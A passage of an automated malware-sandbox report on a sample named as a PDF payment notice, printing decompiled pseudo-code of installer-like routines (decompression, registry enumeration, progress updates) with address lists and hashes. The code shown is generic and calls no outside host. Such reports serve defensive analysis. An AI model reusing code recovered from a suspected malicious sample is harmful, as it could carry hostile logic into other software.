												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406ac7
0x00406ac7
0x00406acb
0x00406af4
0x00406afe
0x00406acd
0x00406ad6
0x00406ae3
0x00406ae6
0x00406e2a
0x00406e2a
0x00406e2d
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00406e7b
0x00406e7f
0x0040702e
0x00407044
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00407060
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00406e2a
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00000000
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406e2a
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00406ea6
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00000000
0x00406eac
0x00406ea6
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00000000
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000
0x00407059
0x00406ea6
0x00406e2d
0x00406e2a

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0acf286bb029991ed8d3626521cf090d2a7bfbfd73cbce5b83777d77729d6ca6
Instruction ID: 8ba59c5cd0d20fcb356abc66f065f0fd9b5ab0142fa9d7a08340707df7706276
Opcode Fuzzy Hash: 0acf286bb029991ed8d3626521cf090d2a7bfbfd73cbce5b83777d77729d6ca6
Instruction Fuzzy Hash: 2A715571D00229CBDF28CF98C844BADBBB1FF44305F15816AD856B7281C779AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00401B87 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B87(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x20));
				_t30 =  *0x40b848; // 0x0
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc(0x40, 0x404); // executed
						_t34 = _t8;
						E00406154(__ebx, _t30, _t34, _t34 + 4,  *((intOrPtr*)(_t37 - 0x28)));
						_t11 =  *0x40b848; // 0x0
						 *_t34 = _t11;
						 *0x40b848 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							E004060C1(_t33, _t30 + 4);
							_push(_t30);
							 *0x40b848 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								_t36 = "Call";
								E004060C1(_t36, _t30 + 4);
								_t21 =  *0x40b848; // 0x0
								E004060C1(_t32, _t21 + 4);
								_t24 =  *0x40b848; // 0x0
								_push(_t36);
								_push(_t24 + 4);
								E004060C1();
								L15:
								 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E00406154(_t27, _t30, _t33, _t27, 0xffffffe8));
					E004057DD();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b87
0x00401b87
0x00401b8a
0x00401b92
0x00401bda
0x00401c08
0x00401c11
0x00401c17
0x00401c1c
0x00401c21
0x00401c23
0x00401bdc
0x00401bde
0x004027bf
0x00401be4
0x00401be9
0x00401bf0
0x00401bf1
0x00401bf6
0x00401bf6
0x00401bde
0x00000000
0x00401b94
0x00401b94
0x00401b94
0x00401b97
0x00000000
0x00000000
0x00401b9d
0x00401ba1
0x00000000
0x00401ba3
0x00401ba5
0x00000000
0x00401bab
0x00401bab
0x00401bae
0x00401bb5
0x00401bba
0x00401bc4
0x00401bc9
0x00401bce
0x00401bd2
0x00402918
0x00402a5a
0x00402a5d
0x00402a63
0x00402a63
0x00401ba5
0x00000000
0x00401ba1
0x00402374
0x00402381
0x00402382
0x00402387
0x00402387
0x00402a65
0x00402a69

APIs

GlobalFree.KERNEL32(00000000), ref: 00401BF6
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401C08

Strings

Call, xrefs: 00401BAE, 00401BB4, 00401BCE

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f19bea6702ba7607adcf8eb36fc3cda2ccf13d2019a2f93d791404b8d97ed599
Instruction ID: 3962866b632d9ac85cf04a81696fffaa4b8328f5dd5944575ed9335fae68a45f
Opcode Fuzzy Hash: f19bea6702ba7607adcf8eb36fc3cda2ccf13d2019a2f93d791404b8d97ed599
Instruction Fuzzy Hash: EF21A8737001019BDB20EB54CE84A5E73E8EB45324721453BF202F72D2DB7C98929B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402588 Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402588(int* __ebx, intOrPtr __edx, char* __esi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				void* _t22;
				char* _t24;
				void* _t26;
				void* _t29;

				_t24 = __esi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402C0E(_t29, 0x20019); // executed
				_t22 = _t9;
				_t10 = E00402BAC("true");
				 *((intOrPtr*)(_t26 - 0x38)) = _t21;
				 *__esi = __ebx;
				if(_t22 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x18)) == __ebx) {
						_t13 = RegEnumValueA(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyA(_t22, _t10, __esi, 0x3ff);
					}
					_t24[0x3ff] = _t16;
					_push(_t22);
					RegCloseKey();
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x00402588
0x00402588
0x00402588
0x0040258d
0x00402594
0x00402596
0x0040259e
0x004025a1
0x004025a3
0x004027bf
0x004025a9
0x004025b1
0x004025b4
0x004025cd
0x004025d3
0x004025d5
0x004025d7
0x004025d7
0x004025b6
0x004025ba
0x004025ba
0x004025de
0x004025e4
0x004025e5
0x004025e5
0x00402a5d
0x00402a69

APIs

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025BA
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 004025CD
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsh295E.tmp,00000000,00000011,?), ref: 004025E5

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 41a5b0842ecf0ccd25f9e6b6edcbd68de7dc87aa34438b22b8630e238de5f42c
Instruction ID: 8bc688a29f0920165d59b4cbe52957f089062dbf188599c99d2d09d2baf6e481
Opcode Fuzzy Hash: 41a5b0842ecf0ccd25f9e6b6edcbd68de7dc87aa34438b22b8630e238de5f42c
Instruction Fuzzy Hash: 7F018F71604204FFE7219F54DE99ABF7ABCEF40359F20403EF505B61C0DAB84E419629

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x424770;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x423f0c =  *0x423f0c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x423f0c, 0x7530,  *0x423ef4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
